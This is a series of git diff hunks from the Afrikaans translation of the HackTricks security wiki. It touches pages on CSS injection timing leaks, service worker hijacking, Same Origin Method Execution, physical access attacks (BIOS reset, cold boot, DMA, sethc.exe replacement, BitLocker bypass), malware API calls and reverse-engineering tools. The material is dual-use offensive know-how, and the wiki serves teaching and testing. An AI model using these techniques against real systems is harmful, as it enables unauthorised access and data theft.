In hierdie geval kan jy **CSS aandui om honderde vals fonts** van dieselfde oorsprong te laai wanneer 'n ooreenkoms plaasvind. Op hierdie manier kan jy **die tyd meet** wat dit neem en uitvind of 'n karakter verskyn of nie met iets soos:
```css
@font-face {
font-family: "A1";
@ -455,7 +448,7 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
So, as die lettertipe nie ooreenstem nie, word die reaksietyd wanneer jy die bot besoek, verwag om ongeveer 30 sekondes te wees. As daar egter 'n lettertipe ooreenstemming is, sal verskeie versoeke gestuur word om die lettertipe te verkry, wat die netwerk sal laat voortgaan met aktiwiteit. As gevolg hiervan sal dit langer neem om die stopvoorwaarde te bevredig en die reaksie te ontvang. Daarom kan die reaksietyd as 'n aanduiding gebruik word om te bepaal of daar 'n lettertipe ooreenstemming is.
So, as die lettertipe nie ooreenstem nie, word die reaksietyd wanneer jy die bot besoek, verwag om ongeveer 30 sekondes te wees. As daar egter 'n lettertipe ooreenstemming is, sal verskeie versoeke gestuur word om die lettertipe te verkry, wat veroorsaak dat die netwerk deurlopende aktiwiteit het. As gevolg hiervan sal dit langer neem om die stopvoorwaarde te bevredig en die reaksie te ontvang. Daarom kan die reaksietyd as 'n aanduiding gebruik word om te bepaal of daar 'n lettertipe ooreenstemming is.
## References
@ -464,12 +457,6 @@ So, as die lettertipe nie ooreenstem nie, word die reaksietyd wanneer jy die bot
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -8,32 +8,24 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basiese Inligting
'n **dienswerker** is 'n skrif wat deur jou blaaier in die agtergrond uitgevoer word, geskei van enige webblad, wat funksies moontlik maak wat nie 'n webblad of gebruikersinteraksie vereis nie, en dus **aflyn en agtergrondverwerking** vermoëns verbeter. Gedetailleerde inligting oor dienswerkers kan [hier](https://developers.google.com/web/fundamentals/primers/service-workers) gevind word. Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffer se interaksies met alle bladsye binne daardie domein.
### Kontroleer vir Bestaande Dienswerkers
Bestaande dienswerkers kan in die **Dienswerkers** afdeling van die **Toepassing** oortjie in **Ontwikkelaar Gereedskap** nagegaan word. 'n Ander metode is om [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) te besoek vir 'n meer gedetailleerde weergawe.
Bestaande dienswerkers kan nagegaan word in die **Dienswerkers** afdeling van die **Toepassing** oortjie in **Ontwikkelaar Gereedskap**. 'n Ander metode is om [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) te besoek vir 'n meer gedetailleerde weergawe.
### Drukkenigings
### Drukkennisgewings
**Drukkenigings toestemmings** het 'n direkte impak op 'n **dienswerker** se vermoë om met die bediener te kommunikeer sonder direkte gebruikersinteraksie. As toestemmings geweier word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te wees. Omgekeerd, die toestaan van toestemmings verhoog sekuriteitsrisiko's deur die ontvangs en uitvoering van potensiële ontploffings moontlik te maak.
**Drukkennisgewing toestemmings** het 'n direkte impak op 'n **dienswerker** se vermoë om met die bediener te kommunikeer sonder direkte gebruikersinteraksie. As toestemmings geweier word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te wees. Omgekeerd, die toestaan van toestemmings verhoog sekuriteitsrisiko's deur die ontvangs en uitvoering van potensiële ontploffings moontlik te maak.
## Aanval om 'n Dienswerker te Skep
@ -107,18 +99,12 @@ Vir meer inligting oor wat DOM Clobbering is, kyk:
As die URL/domein waar die SW gebruik maak van **`importScripts`** **binne 'n HTML-element** is, is dit **moontlik om dit te verander via DOM Clobbering** om die SW **'n skrip van jou eie domein te laat laai**.
Vir 'n voorbeeld hiervan, kyk na die verwysingsskakel.
Vir 'n voorbeeld hiervan, kyk na die verwysingskakel.
## Verwysings
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,52 +15,38 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Same Origin Method Execution
Daar sal geleenthede wees waar jy 'n beperkte javascript op 'n bladsy kan uitvoer. Byvoorbeeld, in die geval waar jy kan[ **beheer oor 'n terugroepwaarde wat uitgevoer sal word**](./#javascript-function).
In daardie gevalle is een van die beste dinge wat jy kan doen om die **DOM te benader om enige** sensitiewe aksie wat jy daar kan vind (soos om op 'n knoppie te klik) te **noem**. Dit is egter gewoonlik dat jy hierdie kwesbaarheid in **klein eindpunte sonder enige interessante ding in die DOM** sal vind.
In daardie scenario's sal hierdie aanval baie nuttig wees, omdat die doel is om in staat te wees om die **beperkte JS uitvoering binne 'n DOM van 'n ander bladsy van dieselfde domein** te **misbruik** met baie interessante aksies.
In daardie scenario's sal hierdie aanval baie nuttig wees, omdat die doel is om in staat te wees om **die beperkte JS-uitvoering binne 'n DOM van 'n ander bladsy van dieselfde domein te misbruik** met baie interessante aksies.
Basies is die aanvalstroom soos volg:
* Vind 'n **terugroep wat jy kan misbruik** (potensieel beperk tot \[\w\\.\_]).
* As dit nie beperk is nie en jy enige JS kan uitvoer, kan jy dit eenvoudig as 'n gewone XSS misbruik.
* As dit nie beperk is nie en jy enige JS kan uitvoer, kan jy dit net as 'n gewone XSS misbruik.
* Laat die **slagoffer 'n bladsy** oopmaak wat deur die **aanvaller** beheer word.
* Die **bladsy sal homself** in 'n **ander venster** oopmaak (die nuwe venster sal die objek **`opener`** hê wat na die aanvanklike een verwys).
* Die **aanvanklike bladsy** sal die **bladsy** laai waar die **interessante DOM** geleë is.
* Die **tweede bladsy** sal die **kwesbare bladsy laai wat die terugroep misbruik** en die **`opener`** objek gebruik om **toegang te verkry en 'n aksie in die aanvanklike bladsy uit te voer** (wat nou die interessante DOM bevat).
{% hint style="danger" %}
Let daarop dat selfs al het die aanvanklike bladsy toegang tot 'n nuwe URL nadat die tweede bladsy geskep is, die **`opener` objek van die tweede bladsy steeds 'n geldige verwysing na die eerste bladsy in die nuwe DOM** is.
Let daarop dat selfs al het die aanvanklike bladsy toegang tot 'n nuwe URL nadat die tweede bladsy geskep is, die **`opener` objek van die tweede bladsy steeds 'n geldige verwysing na die eerste bladsy in die nuwe DOM is**.
Boonop, om die tweede bladsy in staat te stel om die opener objek te gebruik, **moet albei bladsye in die same oorsprong wees**. Dit is die rede waarom jy, om hierdie kwesbaarheid te misbruik, 'n soort **XSS in die same oorsprong** moet vind.
{% endhint %}
### Exploitation
* Jy kan hierdie vorm gebruik om 'n **PoC te genereer** om hierdie tipe kwesbaarheid te exploiteer: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* Om 'n DOM pad na 'n HTML element met 'n klik te vind, kan jy hierdie blaaiers uitbreiding gebruik: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
* Jy kan hierdie vorm gebruik om 'n **PoC te genereer** om hierdie tipe kwesbaarheid te misbruik: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* Om 'n DOM-pad na 'n HTML-element met 'n klik te vind, kan jy hierdie blaaiers uitbreiding gebruik: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
### Example
* Jy kan 'n kwesbare voorbeeld vind in [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
* Let daarop dat in hierdie voorbeeld die bediener **javascript kode genereer** en dit aan die HTML toevoeg gebaseer op die **inhoud van die terugroepparameter:** `<script>opener.{callbacl_content}</script>` . Daarom hoef jy in hierdie voorbeeld nie die gebruik van `opener` eksplisiet aan te dui nie.
* Let daarop dat in hierdie voorbeeld die bediener **javascript kode genereer** en dit **byvoeg** tot die HTML gebaseer op die **inhoud van die terugroepparameter:** `<script>opener.{callbacl_content}</script>` . Daarom hoef jy in hierdie voorbeeld nie die gebruik van `opener` eksplisiet aan te dui nie.
* Kyk ook na hierdie CTF skrywe: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## References

View file

@ -15,83 +15,57 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf nagaan en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## BIOS Wagwoord Herstel en Stelselsekuriteit
**Herstel van die BIOS** kan op verskeie maniere gedoen word. Meeste moederborde sluit 'n **batterij** in wat, wanneer dit vir ongeveer **30 minute** verwyder word, die BIOS-instellings, insluitend die wagwoord, sal herstel. Alternatiewelik kan 'n **jumper op die moederbord** aangepas word om hierdie instellings te herstel deur spesifieke penne te verbind.
Vir situasies waar hardeware-aanpassings nie moontlik of prakties is nie, bied **sagteware gereedskap** 'n oplossing. Om 'n stelsel vanaf 'n **Live CD/USB** met verspreidings soos **Kali Linux** te laat loop, bied toegang tot gereedskap soos **_killCmos_** en **_CmosPWD_**, wat kan help met BIOS wagwoord herstel.
In gevalle waar die BIOS wagwoord onbekend is, sal dit tipies 'n foutkode oplewer as dit verkeerd **drie keer** ingevoer word. Hierdie kode kan op webwerwe soos [https://bios-pw.org](https://bios-pw.org) gebruik word om moontlik 'n bruikbare wagwoord te herwin.
In gevalle waar die BIOS wagwoord onbekend is, sal dit gewoonlik 'n foutkode oplewer as dit verkeerd **drie keer** ingevoer word. Hierdie kode kan op webwerwe soos [https://bios-pw.org](https://bios-pw.org) gebruik word om moontlik 'n bruikbare wagwoord te verkry.
### UEFI Sekuriteit
Vir moderne stelsels wat **UEFI** gebruik in plaas van tradisionele BIOS, kan die gereedskap **chipsec** gebruik word om UEFI-instellings te analiseer en te wysig, insluitend die deaktivering van **Secure Boot**. Dit kan met die volgende opdrag gedoen word:
Vir moderne stelsels wat **UEFI** in plaas van tradisionele BIOS gebruik, kan die gereedskap **chipsec** gebruik word om UEFI-instellings te analiseer en te wysig, insluitend die deaktivering van **Secure Boot**. Dit kan met die volgende opdrag gedoen word:
`python chipsec_main.py -module exploits.secure.boot.pk`
### RAM Analise en Koue Boot Aanvalle
RAM behou data kortliks nadat krag afgesny is, gewoonlik vir **1 tot 2 minute**. Hierdie volharding kan verleng word tot **10 minute** deur koue stowwe, soos vloeibare stikstof, toe te pas. Gedurende hierdie verlengde tydperk kan 'n **geheue dump** geskep word met behulp van gereedskap soos **dd.exe** en **volatility** vir analise.
RAM hou data kortliks na die kragonderbreking, gewoonlik vir **1 tot 2 minute**. Hierdie volharding kan tot **10 minute** verleng word deur koue stowwe, soos vloeibare stikstof, toe te pas. Gedurende hierdie verlengde tydperk kan 'n **geheue dump** geskep word met behulp van gereedskap soos **dd.exe** en **volatility** vir analise.
### Direkte Geheue Toegang (DMA) Aanvalle
**INCEPTION** is 'n gereedskap wat ontwerp is vir **fisiese geheue manipulasie** deur middel van DMA, wat versoenbaar is met interfaces soos **FireWire** en **Thunderbolt**. Dit stel gebruikers in staat om aanmeldprosedures te omseil deur geheue te patch om enige wagwoord te aanvaar. Dit is egter nie effektief teen **Windows 10** stelsels nie.
**INCEPTION** is 'n gereedskap wat ontwerp is vir **fisiese geheue manipulasie** deur middel van DMA, wat versoenbaar is met interfaces soos **FireWire** en **Thunderbolt**. Dit maak dit moontlik om aanmeldprosedures te omseil deur geheue te patch om enige wagwoord te aanvaar. Dit is egter nie effektief teen **Windows 10** stelsels nie.
### Live CD/USB vir Stelseltoegang
### Live CD/USB vir Stelseloegang
Om stelselbinaries soos **_sethc.exe_** of **_Utilman.exe_** met 'n kopie van **_cmd.exe_** te vervang, kan 'n opdragprompt met stelselsprivileges bied. Gereedskap soos **chntpw** kan gebruik word om die **SAM** lêer van 'n Windows-installasie te redigeer, wat wagwoordveranderinge moontlik maak.
**Kon-Boot** is 'n gereedskap wat die aanmelding by Windows-stelsels vergemaklik sonder om die wagwoord te ken deur tydelik die Windows-kern of UEFI te wysig. Meer inligting kan gevind word by [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
**Kon-Boot** is 'n gereedskap wat dit vergemaklik om in Windows-stelsels in te teken sonder om die wagwoord te ken deur tydelik die Windows-kern of UEFI te wysig. Meer inligting kan gevind word by [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
### Hantering van Windows Sekuriteitskenmerke
#### Boot en Herstel Skakels
#### Boot en Herstel Snelkoppelinge
- **Supr**: Toegang tot BIOS-instellings.
- **F8**: Gaan na Herstelmodus.
- Druk **Shift** na die Windows-banner om outomatiese aanmelding te omseil.
- Deur **Shift** te druk na die Windows-banner kan outologon omseil.
#### BAD USB Toestelle
#### SLECHTE USB Toestelle
Toestelle soos **Rubber Ducky** en **Teensyduino** dien as platforms om **bad USB** toestelle te skep, wat in staat is om vooraf gedefinieerde payloads uit te voer wanneer dit aan 'n teikenrekenaar gekoppel word.
Toestelle soos **Rubber Ducky** en **Teensyduino** dien as platforms om **slegte USB** toestelle te skep, wat in staat is om vooraf gedefinieerde payloads uit te voer wanneer dit aan 'n teikenrekenaar gekoppel word.
#### Volume Shadow Copy
#### Volume Skadu Kopie
Administrateurprivileges stel die skepping van kopieë van sensitiewe lêers, insluitend die **SAM** lêer, deur PowerShell moontlik.
Administrateurprivileges stel die gebruiker in staat om kopieë van sensitiewe lêers, insluitend die **SAM** lêer, deur PowerShell te skep.
### Omseiling van BitLocker Enkripsie
BitLocker enkripsie kan moontlik omseil word as die **herstel wagwoord** in 'n geheue dump lêer (**MEMORY.DMP**) gevind word. Gereedskap soos **Elcomsoft Forensic Disk Decryptor** of **Passware Kit Forensic** kan vir hierdie doel gebruik word.
BitLocker enkripsie kan moontlik omseil word as die **herstelwagwoord** in 'n geheue dump lêer (**MEMORY.DMP**) gevind word. Gereedskap soos **Elcomsoft Forensic Disk Decryptor** of **Passware Kit Forensic** kan vir hierdie doel gebruik word.
### Sosiale Ingenieurswese vir Herstel Sleutel Byvoeging
'n Nuwe BitLocker herstel sleutel kan bygevoeg word deur sosiale ingenieurswese taktieke, wat 'n gebruiker oortuig om 'n opdrag uit te voer wat 'n nuwe herstel sleutel wat uit nulles bestaan, byvoeg, wat die ontsleuteling proses vereenvoudig.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf nagaan en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
'n Nuwe BitLocker herstel sleutel kan bygevoeg word deur sosiale ingenieurswese taktieke, wat 'n gebruiker oortuig om 'n opdrag uit te voer wat 'n nuwe herstel sleutel van nulles byvoeg, wat die ontsleuteling proses vereenvoudig.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,14 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Generies
### Netwerk
@ -74,12 +66,12 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
| Naam | |
| ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Toewys geheue (packers) |
| VirtualAlloc | Allokeer geheue (packers) |
| VirtualProtect | Verander geheue toestemming (packer gee uitvoerings toestemming aan 'n afdeling) |
| ReadProcessMemory | Inspuiting in eksterne prosesse |
| WriteProcessMemoryA/W | Inspuiting in eksterne prosesse |
| NtWriteVirtualMemory | |
| CreateRemoteThread | DLL/Proses inspuiting... |
| CreateRemoteThread | DLL/Proses inspuiting... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W | |
@ -94,7 +86,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
| ResumeThread |
| NtResumeThread |
### Verskeie
### Divers
* GetAsyncKeyState() -- Sleutel logging
* SetWindowsHookEx -- Sleutel logging
@ -137,7 +129,7 @@ Vind 'n draad van 'n proses en laat dit 'n kwaadwillige DLL laai
### PE Inspuiting
Portable Execution Inspuiting: Die uitvoerbare sal in die geheue van die slagoffer proses geskryf word en daarvandaan uitgevoer word.
Portabele Uitvoering Inspuiting: Die uitvoerbare sal in die geheue van die slagoffer proses geskryf word en daarvandaan uitgevoer word.
### Proses Hollowing
@ -151,18 +143,12 @@ Die malware sal die wettige kode uit die geheue van die proses onttrek en 'n kwa
## Hooking
* Die **SSDT** (**System Service Descriptor Table**) wys na kernfunksies (ntoskrnl.exe) of GUI bestuurder (win32k.sys) sodat gebruikersprosesse hierdie funksies kan aanroep.
* 'n rootkit kan hierdie punte na adresse wat hy beheer, verander
* 'n Rootkit kan hierdie punte na adresse wat hy beheer, verander
* **IRP** (**I/O Request Packets**) stuur stukke data van een komponent na 'n ander. Byna alles in die kern gebruik IRP's en elke toestel objek het sy eie funksietabel wat gehook kan word: DKOM (Direct Kernel Object Manipulation)
* Die **IAT** (**Import Address Table**) is nuttig om afhanklikhede op te los. Dit is moontlik om hierdie tabel te hook om die kode wat aangeroep sal word, te kap.
* **EAT** (**Export Address Table**) Hooks. Hierdie hooks kan vanaf **userland** gedoen word. Die doel is om geexporteerde funksies deur DLL's te hook.
* **Inline Hooks**: Hierdie tipe is moeilik om te bereik. Dit behels die verandering van die kode van die funksies self. Miskien deur 'n sprongetjie aan die begin hiervan te plaas.
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,14 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Veiligheid Groep**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## ImGui Gebaseerde Reversing gereedskap
Sagtemiddel:
@ -33,7 +25,7 @@ Sagtemiddel:
Aanlyn:
* Gebruik [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) om te **decompile** van wasm (binaar) na wat (duidelike teks)
* Gebruik [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) om te **decompile** van wasm (binêr) na wat (duidelike teks)
* Gebruik [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) om te **compile** van wat na wasm
* jy kan ook probeer om [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) te gebruik om te decompile
@ -46,9 +38,9 @@ Sagtemiddel:
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek is 'n decompiler wat **decompile en ondersoek verskeie formate**, insluitend **biblioteke** (.dll), **Windows metadata lêer**s (.winmd), en **uitvoerbare lêers** (.exe). Sodra dit gedecompileer is, kan 'n assembly as 'n Visual Studio projek (.csproj) gestoor word.
dotPeek is 'n decompiler wat **decompile en ondersoek verskeie formate**, insluitend **biblioteke** (.dll), **Windows metadata lêers** (.winmd), en **uitvoerbare lêers** (.exe). Sodra dit gedecompileer is, kan 'n assembly as 'n Visual Studio projek (.csproj) gestoor word.
Die voordeel hier is dat as 'n verlore bronkode herstel moet word uit 'n erfenis assembly, kan hierdie aksie tyd bespaar. Verder bied dotPeek handige navigasie deur die gedecompileerde kode, wat dit een van die perfekte gereedskap maak vir **Xamarin algoritme analise.**
Die verdienste hier is dat as 'n verlore bronkode herstel moet word uit 'n erfenis assembly, kan hierdie aksie tyd bespaar. Verder bied dotPeek handige navigasie deur die gedecompileerde kode, wat dit een van die perfekte gereedskap maak vir **Xamarin algoritme analise.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
@ -58,8 +50,8 @@ Met 'n omvattende add-in model en 'n API wat die gereedskap uitbrei om aan jou p
* Bied insig in die implementering en gebruik van .NET tale en raamwerke
* Vind ongedokumenteerde en nie-blootgestelde funksionaliteit om meer uit die API's en tegnologieë te kry.
* Vind afhanklikhede en verskillende assemblies
* Spoor die presiese ligging van foute in jou kode, derdeparty-komponente, en biblioteke op.
* Debugeer in die bron van al die .NET kode waarmee jy werk.
* Spoor die presiese ligging van foute in jou kode, derdeparty-komponente, en biblioteke.
* Debug in die bron van al die .NET kode waarmee jy werk.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
@ -101,7 +93,7 @@ Stoor dan die nuwe lêer via _**File >> Save module...**_:
Dit is nodig omdat as jy dit nie doen nie, verskeie **optimisations** tydens **runtime** op die kode toegepas sal word en dit moontlik is dat terwyl jy debugg, 'n **break-point is nooit getref** of sommige **variables bestaan nie**.
As jou .NET-toepassing deur **IIS** **run** word, kan jy dit **herbegin** met:
As jou .NET-toepassing deur **IIS** **run** word, kan jy dit met **restart**:
```
iisreset /noforce
```
@ -231,11 +223,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
```
scDbg het ook 'n grafiese laaier waar jy die opsies kan kies wat jy wil en die shellcode kan uitvoer.
scDbg het ook 'n grafiese laaier waar jy die opsies kan kies wat jy wil en die shellcode kan uitvoer.
![](<../../.gitbook/assets/image (258).png>)
Die **Create Dump** opsie sal die finale shellcode dump as daar enige verandering aan die shellcode dinamies in geheue gemaak word (nuttig om die gedecodeerde shellcode af te laai). Die **start offset** kan nuttig wees om die shellcode by 'n spesifieke offset te begin. Die **Debug Shell** opsie is nuttig om die shellcode te debugeer met behulp van die scDbg terminal (ek vind egter enige van die opsies wat voorheen verduidelik is beter vir hierdie saak, aangesien jy Ida of x64dbg kan gebruik).
Die **Create Dump** opsie sal die finale shellcode dump as enige verandering aan die shellcode dinamies in geheue gemaak word (nuttig om die gedecodeerde shellcode af te laai). Die **start offset** kan nuttig wees om die shellcode by 'n spesifieke offset te begin. Die **Debug Shell** opsie is nuttig om die shellcode te debug met behulp van die scDbg terminal (maar ek vind enige van die opsies wat voorheen verduidelik is beter vir hierdie saak, aangesien jy Ida of x64dbg kan gebruik).
### Disassembling met CyberChef
@ -248,7 +240,7 @@ Hierdie obfuscator **wysig al die instruksies vir `mov`** (ja, regtig cool). Dit
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
As jy gelukkig is, sal [demovfuscator](https://github.com/kirschju/demovfuscator) die binêre deobfuskeer. Dit het verskeie afhanklikhede.
As jy gelukkig is, sal [demovfuscator](https://github.com/kirschju/demovfuscator) die binêre deofuskeer. Dit het verskeie afhanklikhede.
```
apt-get install libcapstone-dev
apt-get install libz3-dev
@ -263,7 +255,7 @@ Om die **toegangspunt** te vind, soek die funksies deur `::main` soos in:
![](<../../.gitbook/assets/image (1080).png>)
In hierdie geval was die binêre genaamd authenticator, so dit is redelik duidelik dat dit die interessante hooffunksie is.\
In hierdie geval was die binêre genaamd authenticator, so dit is redelik voor die hand liggend dat dit die interessante hooffunksie is.\
Met die **naam** van die **funksies** wat aangeroep word, soek daarna op die **Internet** om meer te leer oor hul **insette** en **uitsette**.
## **Delphi**
@ -300,10 +292,10 @@ As jy die **binêre** van 'n GBA-speletjie kry, kan jy verskillende gereedskap g
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Laai die debug weergawe af_) - Bevat 'n debugger met 'n koppelvlak
* [**mgba** ](https://mgba.io)- Bevat 'n CLI-debugger
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra inprop
